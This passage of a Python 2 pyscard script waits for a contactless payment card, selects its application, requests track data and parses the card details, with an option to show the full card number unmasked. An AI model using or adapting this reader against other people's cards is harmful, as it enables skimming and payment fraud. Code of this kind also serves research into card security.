        #apdu = SELECT
        response, sw1, sw2= send_apdu(cardservice,apdu)
        if check_return(sw1,sw2):
                return True, response, sw1, sw2
        else:
                return False, [], sw1,sw2
def waitforcard():
        while(1):
                # request any card type
                cardtype = AnyCardType()
                # request card insertion
                print 'Waiting for a Card to enter the reader\'s field...'
                # cardrequest = CardRequest( timeout=10, cardType=cardtype )
                cardrequest = CardRequest(timeout=None, cardType=cardtype )
                cardservice = cardrequest.waitforcard()

                # attach the console tracer
                if Debug:
                        observer=ConsoleCardConnectionObserver()
                        cardservice.connection.addObserver( observer )

                # connect to the card
                cardservice.connection.connect(Protocol)


                print 'Connecting with AID:  ',
                hexprint(AID)
                selected, response, sw1, sw2= select_aid(cardservice,AID)
                if selected:
                        print "\tSuccess!"
                        print "Response: \n\t",
                        textprint(response)

                        if Verbose:
                                print "\t[VERBOSE]: ",
                                hexprint(response)
                        if not MinInfo:
                                print '\nRequesting Track Info: \n\t',
                                hexprint(CMD)
                        response2 = try_cmd(cardservice)
                        if Verbose:
                                print "\t[VERBOSE]: ",
                                hexprint(response2)
                                print "\t[VERBOSE]: ",
                                textprint(response2)
                        parse_ccdata(response2)


# main loop

try:
        # 'args' will be set to remaining arguments (if any)
        opts, args  = getopt.getopt(sys.argv[1:],'dtvum')
        for o, a in opts:
                if o == '-d':
                        Debug= True
                if o == '-t':
                        Protocol= CardConnection.T1_protocol
                if o == '-v':
                        Verbose= True
                if o == '-u':
                        HideCC= False
                if o == '-m':
                        MinInfo= True

except getopt.GetoptError:
        # -h will cause an exception as it doesn't exist!
        printhelp()
        sys.exit(True)


try:
        waitforcard()
except CardConnectionException:
        print 'Wait what happened? Did you remove the card from the field?'
        time.sleep(2)
        waitforcard()

except KeyboardInterrupt:
        print 'Quiting'